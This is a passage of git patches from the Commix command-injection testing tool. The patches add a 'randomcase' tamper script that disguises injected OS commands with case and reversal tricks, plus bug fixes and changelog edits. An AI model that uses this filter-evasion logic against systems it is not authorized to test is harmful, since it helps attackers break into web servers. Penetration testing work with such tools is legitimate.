",randomcase" + else: + menu.options.tamper = "randomcase" + # Check for reversed (characterwise) user-supplied operating system commands. if payload.count("|rev") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: if not settings.TAMPER_SCRIPTS['rev']: @@ -1851,6 +1859,12 @@ def perform_payload_modification(payload): from src.core.tamper import rev payload = rev.tamper(payload) + for mod_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): + # Replaces each user-supplied operating system command character with random case + if mod_type == 'randomcase': + from src.core.tamper import randomcase + payload = randomcase.tamper(payload) + for print_type in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): # printf to echo (for ascii to dec) if print_type == 'printf2echo': diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py new file mode 100644 index 0000000000..77c6c286b7 --- /dev/null +++ b/src/core/tamper/randomcase.py @@ -0,0 +1,45 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from random import choice +from src.utils import settings + +""" +About: Replaces each character in a user-supplied OS command with a random case. +Notes: This tamper script works against Unix-like target(s). +""" + +__tamper__ = "randomcase" + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +def tamper(payload): + _ = (''.join(choice((str.upper, str.lower))(c) for c in settings.USER_APPLIED_CMD)) + if settings.EXPLOITATION_PHASE: + if settings.TAMPER_SCRIPTS["rev"]: + if settings.USE_BACKTICKS: + _ = _[::-1] + "|rev" + else: + _ = "$(echo \"" + _[::-1] + "\"|rev" + ")" + if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USE_BACKTICKS: + random_case_cmd = "\\`echo " + _ + "|tr \"[A-Z]\" \"[a-z]\"\\`" + else: + random_case_cmd = "$(echo " + _ + "|tr \"[A-Z]\" \"[a-z]\")" + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + return payload + +# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index ba2972f9ee..70e1e4da4b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "14" +REVISION = "15" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1119,6 +1119,7 @@ class AUTH_TYPE(object): "uninitializedvariable": False, "slash2env": False, "backticks": False, + "randomcase": False, "rev": False } @@ -1138,6 +1139,7 @@ class AUTH_TYPE(object): "printf2echo", "space2ifs", "uninitializedvariable", + "randomcase", "rev" ] From 2ca977a375af6b8da1e21be3d06a28a675c4ac45 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 25 Mar 2025 11:48:38 +0200 Subject: [PATCH 0540/1023] Minor revisions to CHANGELOG.md content --- doc/CHANGELOG.md | 20 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 31da34fd27..64ce48d412 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -57,7 +57,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Minor improvement regarding tamper script "uninitializedvariable.py", for adding randomly generated uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Minor improvement regarding skipping further tests involving target that an injection point has already been detected. * Revised: Minor code refactoring regarding multiple tamper scripts (i.e. "backslashes.py", "dollaratsigns.py", "doublequotes.py", "singlequotes.py", "uninitializedvariable.py"). -* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands (for \*nix targets). +* Added: New tamper script "rev.py" that reverses (characterwise) the user-supplied operating system commands. * Fixed: Minor bug-fix regarding checking for similarity in provided parameter(s) name(s) and value(s). * Fixed: Minor bug-fix regarding forcing usage of SSL/HTTPS requests toward the target (i.e. `--force-ssl` flag). * Fixed: Minor bug-fix regarding setting custom output directory path (i.e. `--output-dir` option). @@ -136,7 +136,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Removed: The "Regsvr32.exe application whitelisting bypass" attack vector has been removed. * Updated: Minor update regarding web delivery script (i.e. Python meterpreter reverse TCP shell). * Replaced: The `--backticks` switch has been replaced with "backticks.py" tamper script. -* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution (for \*nix targets). +* Added: New tamper script "backticks.py" that uses backticks instead of `$()`, for commands substitution. * Added: New option ( `--skip-heuristic`) for skipping dynamic code evaluation heuristic check. * Added: Support for parsing custom wordlists regarding HTTP authentication (i.e. `Basic`, `Digest`) dictionary-based cracker. * Revised: Improvements regarding dynamic code evaluation heuristic check. @@ -149,10 +149,10 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ ## Version 3.2 (2021-04-12) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. -* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}` (for \*nix targets). +* Added: New tamper script "slash2env.py" that replaces slashes (`/`) with environment variable value `${PATH%%u*}`. * Revised: Minor improvement regarding session handler for supporting Python 3.4+. * Revised: Minor improvement regarding `--web-root` option. -* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads (for \*nix targets). +* Added: New tamper script "uninitializedvariable.py" that adds uninitialized bash variables between the characters of each command of the generated payloads. * Revised: Improvement regarding decompressing `deflate`, `x-gzip` and `gzip` HTTP responses. * Fixed: Bug-fix regarding several charset-related unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. @@ -185,7 +185,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Fixed: Bug-fix regarding defining custom injection marker (i.e. asterisk `*`) in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. -* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads (for \*nix targets). +* Added: New tamper script "doublequotes.py" that adds double-quotes (`""`) between the characters of the generated payloads. * Fixed: Bug-fix regarding parsing raw HTTP headers from a file (i.e. `-r` option). * Revised: Improvements regarding data in the detailed message about occurred unhandled exception. * Revised: Minor bug-fixes and improvements regarding HTTP authentication dictionary-based cracker. @@ -284,10 +284,10 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: Support regarding checking for potential CAPTCHA protection mechanism. * Revised: The separators list, has been shortly revised. * Revised: Minor improvement regarding the extracted HTTP response headers. -* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads (for \*nix targets). +* Added: New tamper script "nested.py" that adds double quotes around of the generated payloads. * Fixed: Minor bug-fix regarding performing injections through HTTP Headers (e.g. User-Agent, Referer, Host etc). * Fixed: Major bug-fixes regarding testing time-related payloads (i.e. "time-based", "tempfile-based"). -* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads (for \*nix targets). +* Added: New tamper script "backslashes.py" that adds back slashes (`\`) between the characters of the generated payloads. * Fixed: Minor bug-fix regarding unicode decode exception error due to invalid codec, during connection on target host. * Revised: Improvement regarding combining tamper script "multiplespaces.py" with other space-related tamper script(s). * Added: New tamper script "multiplespaces.py" that adds multiple spaces around OS commands. @@ -300,8 +300,8 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Updated: Colorama (third party) module has been updated. * Revised: Minor improvement regarding keeping the git folder 'clean' (via @g0tmi1k). * Fixed: Minor bug-fix regarding loading multiple tamper scripts (during the exploitation phase). -* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads (for windows targets). -* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads (for \*nix targets). +* Added: New tamper script "caret.py" that adds the caret symbol (`^`) between the characters of the generated payloads. +* Added: New tamper script "singlequotes.py" that adds single quotes (`'`) between the characters of the generated payloads. _Note: For more check the [detailed changeset](https://github.com/commixproject/commix/compare/v2.3-20180307...v2.4-20180521)._ @@ -343,7 +343,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: New option `--check-internet` that checks internet connection before assessing the target. * Fixed: Minor bug-fix regarding performing injections through HTTP Headers (i.e. Cookie, User-Agent, Referer). * Revised: Minor improvement regarding checking stored payloads and enabling appropriate tamper scripts during the exploitation phase. -* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`) (for Windows targets). +* Added: New tamper script "space2vtab.py" that replaces every space (`%20`) with vertical tab (`%0b`). * Replaced: The tamper script "space2tab.py" has been replaced with "space2htab.py". * Fixed: Minor bug-fix regarding checking for similarity in provided parameter name and value (GET, POST). * Added: New option `--backticks` that uses backticks instead of `$()`, for commands substitution. diff --git a/src/utils/settings.py b/src/utils/settings.py index 70e1e4da4b..7ef9bdeec6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f82a22a50cd45c61aed5a5d18f13ac8728794cf Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 30 Mar 2025 09:44:17 +0300 Subject: [PATCH 0541/1023] Minor update regarding adding error handling for whitespace replacement --- src/core/injections/controller/checks.py | 7 +++++-- src/core/injections/controller/controller.py | 2 +- src/core/tamper/randomcase.py | 7 ++++++- src/core/tamper/rev.py | 7 ++++++- src/utils/settings.py | 2 +- 5 files changed, 19 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index df08e617d0..0ceea2ba0d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1841,8 +1841,11 @@ def check_for_stored_tamper(payload): Perform payload modification """ def perform_payload_modification(payload): - settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) - + try: + settings.RAW_PAYLOAD = payload.replace(settings.WHITESPACES[0], settings.SINGLE_WHITESPACE) + except IndexError: + settings.RAW_PAYLOAD = payload + for extra_http_headers in list(settings.MULTI_ENCODED_PAYLOAD[::-1]): if extra_http_headers == "xforwardedfor": from src.core.tamper import xforwardedfor diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 486cfbb702..e336c32295 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -678,7 +678,7 @@ def headers_checks(url, http_request_method, filename, timesec): def perform_checks(url, http_request_method, filename): # Initiate whitespaces if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: - settings.WHITESPACES = ["%20"] + settings.WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] timesec = settings.TIMESEC # Check if authentication is needed. diff --git a/src/core/tamper/randomcase.py b/src/core/tamper/randomcase.py index 77c6c286b7..9e7e130180 100644 --- a/src/core/tamper/randomcase.py +++ b/src/core/tamper/randomcase.py @@ -39,7 +39,12 @@ def tamper(payload): random_case_cmd = "\\`echo " + _ + "|tr \"[A-Z]\" \"[a-z]\"\\`" else: random_case_cmd = "$(echo " + _ + "|tr \"[A-Z]\" \"[a-z]\")" - payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, random_case_cmd) + if len(settings.WHITESPACES) != 0: + try: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + except: + pass return payload # eof \ No newline at end of file diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index 2229973513..6fe2d5fc78 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -34,7 +34,12 @@ def tamper(payload): rev_cmd = "\\`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev\\`" else: rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" - payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd) + if len(settings.WHITESPACES) != 0: + try: + payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + except: + pass return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 7ef9bdeec6..9ceb8d17a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 947878c7110e2af79c4a5edf133c563485b261e3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 2 Apr 2025 07:25:11 +0300 Subject: [PATCH 0542/1023] Fix related to https://github.com/commixproject/commix/issues/997 --- src/core/injections/controller/checks.py | 2 +- src/utils/crawler.py | 2 +- src/utils/logs.py | 4 ++-- src/utils/settings.py | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0ceea2ba0d..be9a9492ca 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2485,7 +2485,7 @@ def print_single_os_cmd(cmd, output, filename): try: with open(filename, 'a') as output_file: if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "User-supplied command " + _ + ": " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") except TypeError: pass else: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index bbb169a941..270f00d507 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -113,7 +113,7 @@ def store_crawling(output_href): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) with open(filename, "a") as crawling_results: for url in output_href: - crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n") + crawling_results.write(str(url.encode(settings.DEFAULT_CODEC).decode()) + "\n") return elif message in settings.CHOICE_NO: return diff --git a/src/utils/logs.py b/src/utils/logs.py index 13d4c82597..02fcf41b65 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -174,8 +174,8 @@ def executed_command(filename, cmd, output): with open(filename, 'a') as output_file: if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") - except TypeError: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + str(output.encode(settings.DEFAULT_CODEC).decode()) + "\n") + except: pass """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 9ceb8d17a7..4c20cc46de 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a7fa812f77eaf3661c9c551510a950e502f70973 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Apr 2025 08:33:43 +0300 Subject: [PATCH 0543/1023] Fixes https://github.com/commixproject/commix/issues/1000 --- src/core/injections/controller/controller.py | 14 +------------- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index e336c32295..55b495cdfb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -109,29 +109,17 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) cookie = checks.process_injectable_value(payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) - # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): - # cookie = menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) - # else: - # cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: data = checks.process_injectable_value(payload, menu.options.data).encode(settings.DEFAULT_CODEC) - # if settings.TESTABLE_VALUE in menu.options.data.replace(settings.INJECT_TAG, ""): - # data = menu.options.data.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) - # else: - # data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: if settings.USER_DEFINED_POST_DATA: settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) if settings.INJECT_TAG in url: tmp_url = checks.process_injectable_value(payload, url) - # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): - # tmp_url = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) - # else: - # tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) else: tmp_url = checks.remove_tags(tmp_url) url = checks.remove_tags(url) @@ -140,7 +128,7 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites if cookie: request.add_header(settings.COOKIE, cookie) if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): - settings.CUSTOM_HEADER_NAME = check_parameter + settings.CUSTOM_HEADER_NAME = check_parameter.title() if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE: request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC)) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 4c20cc46de..07ad1e438f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From ead94398f1f114fd6412bdd0924c913aae1ecca5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 13 Apr 2025 11:55:21 +0300 Subject: [PATCH 0544/1023] Update regarding safely handling split for PRE/POST injection markers --- src/core/requests/parameters.py | 32 ++++++++++++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 21 insertions(+), 13 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d7e2fdabed..47d1ce4ff7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -743,9 +743,11 @@ def specify_user_agent_parameter(user_agent): if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] - except AttributeError: + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): pass return user_agent @@ -759,9 +761,11 @@ def specify_referer_parameter(referer): if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] - except AttributeError: + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): pass return referer @@ -775,9 +779,11 @@ def specify_host_parameter(host): if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] - except AttributeError: + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): pass return host @@ -790,9 +796,11 @@ def specify_custom_header_parameter(header_name): if settings.CUSTOM_INJECTION_MARKER: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] - settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] - except AttributeError: + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): pass return header_name diff --git a/src/utils/settings.py b/src/utils/settings.py index 07ad1e438f..a7a6b86adb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cbaf4c3c350575349ae1484470dfc36193e34137 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 23 Apr 2025 09:38:16 +0300 Subject: [PATCH 0545/1023] Fixes https://github.com/commixproject/commix/issues/1001 --- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index be9a9492ca..0968a5318c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2999,7 +2999,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met """ Check if to use the "/tmp/" directory for tempfile-based technique. """ -def use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): +def use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response): tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) settings.print_data_to_stdout(settings.END_LINE.CR) message = "It seems that you don't have permissions to " diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index a0b29f94ea..bd7168bd75 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -583,7 +583,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec continue else: raise - checks.use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) + checks.use_temp_folder(no_result, url, timesec, filename, http_request_method, url_time_response) else: if checks.finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): continue diff --git a/src/utils/settings.py b/src/utils/settings.py index a7a6b86adb..07c85a4b22 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f41ef7af26a5adf2bebd58905da41eddc85aafc1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 30 Apr 2025 07:30:39 +0300 Subject: [PATCH 0546/1023] Fixes https://github.com/commixproject/commix/issues/1004 --- doc/CHANGELOG.md | 1 + src/core/requests/parameters.py | 4 ++++ src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 1 deletion(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 64ce48d412..06616d6baf 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Fixed: Minor bug-fix regarding parsing empty or invalid JSON object. * Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. * Revised: Minor code refactoring regarding multiple tamper scripts. * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 47d1ce4ff7..c18d9a0f88 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -223,6 +223,10 @@ def do_POST_check(parameter, http_request_method): Grab the value of parameter. """ def multi_params_get_value(param, all_params): + + if len(all_params) == 0 or (len(all_params) == 1 and (all_params[0] == "{}" or json.loads(all_params[0]) == {})): + checks.no_parameters_found() + if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) if not value: diff --git a/src/utils/settings.py b/src/utils/settings.py index 07c85a4b22..a83d1926da 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3e7e9666ee042ab42a542d476a1925a240234abe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 6 May 2025 07:38:24 +0300 Subject: [PATCH 0547/1023] Fixes https://github.com/commixproject/commix/issues/1007 --- src/core/injections/controller/handler.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index bd7168bd75..265bda79b3 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -647,8 +647,10 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec else: whitespace = 